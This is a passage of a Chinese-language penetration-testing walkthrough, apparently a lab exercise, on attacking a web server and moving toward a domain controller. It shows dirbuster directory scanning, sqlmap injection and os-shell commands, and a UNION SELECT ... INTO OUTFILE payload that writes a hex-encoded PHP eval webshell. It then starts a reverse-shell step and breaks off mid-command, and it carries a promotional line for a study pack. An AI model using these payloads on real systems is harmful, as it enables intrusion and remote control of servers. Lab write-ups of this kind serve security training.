内网渗透横向攻击流程

拓扑环境

1.Kali Linux（攻击机）
2.Centos6.4（web服务器）
3.win7（域成员主机无法上网）
4.win2008R2（域控无法上网）

目的

通过Kali Linux拿到域控权限

2021最新整理网络安全\渗透测试/安全学习（全套视频、大厂面经、精品手册、必备工具包）一>点我<一

Web渗透

目录扫描

使用dirbuster工具扫描网站根目录 设置kali默认字典文件 /usr/share/wordlists/dirbuster/directory­list­lowercase­2.3­small.txt

扫描获得phpinfo.php

得到网站绝对路径信息

SQL查询报错

通过测试发现存在sql整型注入报错情况，进一步获取webshell

SQL注入

通过sqlmap测试发现存在sql注入

sqlmap ‐u "http://IP:8888/newsshow.php?cid=4&id=19*" ‐‐dbms MYSQL ‐v3

获取webshell

这里有绝对路径的情况下，可直接写入webshell。这里使用sqlmap os­shell的功能

sqlmap(os­shell)

#通过sqlmap获取命令执行会话 sqlmap ‐u “http://IP/newsshow.php?cid=4&id=19*” ‐‐dbms MYSQL ‐v3 ‐‐os‐ shell`

直接写webshell(pass)

http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d29 3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'

反弹shell

为了更好做后续操作，进行反弹shell

获取目标系统信息

os‐shell> uname ‐a os‐shell> whereis python`

获取meterpreter会话

由于网站上为linux默认安装python，可直接生成python反弹脚本

#生成python反弹脚本 msfv